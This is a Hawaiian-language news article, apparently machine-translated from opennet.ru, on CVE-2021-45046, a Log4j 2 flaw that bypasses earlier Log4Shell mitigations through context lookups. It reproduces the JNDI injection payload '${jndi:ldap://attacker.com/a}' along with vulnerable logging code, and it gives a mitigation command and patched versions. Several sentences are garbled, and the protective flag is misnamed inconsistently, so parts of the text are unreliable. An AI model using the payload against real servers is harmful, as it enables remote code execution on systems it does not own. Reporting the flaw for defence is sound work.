ʻO kahi koho hoʻouka hou no Log4j 2 e hiki ai iā ʻoe ke kāpae i ka pale i hoʻohui ʻia

Ua ʻike ʻia kekahi mea nāwaliwali ma ka hoʻokō ʻana i nā hulina JNDI ma ka waihona Log4j 2 (CVE-2021-45046), i ʻike ʻia ʻoiai nā hoʻoponopono i hoʻohui ʻia i ka hoʻokuʻu 2.15 a me ka nānā ʻole i ka hoʻohana ʻana i ka hoʻonohonoho "log4j2.noFormatMsgLookup" no ka pale. He pilikia nui ka pilikia no nā mana kahiko o Log4j 2, pale ʻia me ka hae "noFormatMsgLookup", no ka mea hiki iā ia ke kāpae i ka pale mai nā nāwaliwali o mua (Log4Shell, CVE-2021-44228), e hiki ai iā ʻoe ke hoʻokō i kāu code ma ka kikowaena. No nā mea hoʻohana o ka mana 2.15, ua kaupalena ʻia ka hoʻohana ʻana i ka hāʻule ʻana o ka noi ma muli o ka pau ʻana o nā kumuwaiwai i loaʻa.

Hōʻike wale ʻia ka haʻahaʻa ma nā ʻōnaehana e hoʻohana ana i ka Context Lookups no ka hoʻopaʻa inoa ʻana, e like me ${ctx:loginId}, a i ʻole MDC templates (Thread Context Map), e like me %X, %mdc, a me %MDC. Hoʻomaka ka hana i ka hana ʻana i nā kūlana no ka hoʻopuka ʻana i ka ʻikepili i loaʻa nā pani JNDI i ka lāʻau i ka wā e hoʻohana ai i nā nīnau pōʻaiapili a i ʻole nā ​​hiʻohiʻona MDC ma ka noi e wehewehe i nā lula no ka hoʻopili ʻana i ka hopena i ka log.

Ua ʻike ka poʻe noiʻi mai LunaSec no nā mana o Log4j ma lalo o 2.15, hiki ke hoʻohana ʻia kēia nāwaliwali ma ke ʻano he vector hou no ka hoʻouka ʻana iā Log4Shell, e alakaʻi ana i ka hoʻokō code, inā hoʻohana ʻia nā ʻōlelo ThreadContext e komo pū ana i ka ʻikepili waho i loko o ka log output, me ka nānā ʻole Hoʻohana ʻia ka hae "pale". noMsgFormatLookups" a i ʻole ka template "%m{nolookups}".

ʻO kahi koho hoʻouka hou no Log4j 2 e hiki ai iā ʻoe ke kāpae i ka pale i hoʻohui ʻia

ʻO ka pale ʻana i ka pale e iho mai i ka ʻoiaʻiʻo ma kahi o ka hoʻololi pololei ʻana o "${jndi:ldap://attacker.com/a}", ua hoʻololi ʻia kēia ʻōlelo ma o ka waiwai o kahi hoʻololi waena i hoʻohana ʻia i nā lula no ka hoʻopili ʻana i ka hoʻopuka log. . No ka laʻana, inā hoʻohana ʻia ka nīnau pōʻaiapili ${ctx:apiversion} i ka wā e hoʻopuka ai i ka log, a laila hiki ke hoʻokō ʻia ka hoʻouka ʻana ma ka hoʻololi ʻana i ka ʻikepili "${jndi:ldap://attacker.com/a}" i loko o ka waiwai i kākau ʻia i ka hoʻololi apiversion. Laʻana o ka code vulnerable: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Ua hāʻawi ʻia ka waiwai poʻomanaʻo HTTP "X-Api-Version" i ka ThreadContext ThreadContext.put("apiversion ", apiVersion ); // I ka hoʻopuka ʻana i ka log, e hoʻokō ʻia ka waiwai apiversion waho me ka hoʻohana ʻana i ka ${ctx:apiversion} logger.info ("Loaʻa kahi noi no ka mana API"); hoʻi "Aloha, honua!"; }

Ma ka Log4j version 2.15, hiki ke hoʻohana ʻia ka nāwaliwali e hana i nā hoʻouka DoS i ka wā e hāʻawi ai i nā waiwai i ka ThreadContext, e hopena i kahi loop i ka hoʻoili ʻana i ka hoʻoponopono hoʻopono.

ʻO kahi koho hoʻouka hou no Log4j 2 e hiki ai iā ʻoe ke kāpae i ka pale i hoʻohui ʻia

No ka pale ʻana i ka nāwaliwali, ua paʻi ʻia nā mea hou 2.16 a me 2.12.2. Ma ka lālā Log4j 2.16, ma waho aʻe o nā hoʻoponopono i hoʻokō ʻia ma ka mana 2.15 a me ka hoʻopaʻa ʻana o nā noi JNDI LDAP i "localhost", ua hoʻopau loa ʻia ka hana JNDI ma o ka paʻamau a ua wehe ʻia ke kākoʻo no nā hoʻololi hoʻololi memo. Ma ke ʻano he hana palekana, manaʻo ʻia e wehe i ka papa JndiLookup mai ke ala papa (no ka laʻana, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

Hiki iā ʻoe ke nānā i ke ʻano o ka hoʻoponopono ʻana i nā pūʻolo ma nā ʻaoʻao o ka hāʻawi ʻana (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) a me nā mea hana platform Java (GitHub, Docker, Oracle, vmWare, Broadcom a me Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).

Source: opennet.ru

Pākuʻi i ka manaʻo hoʻopuka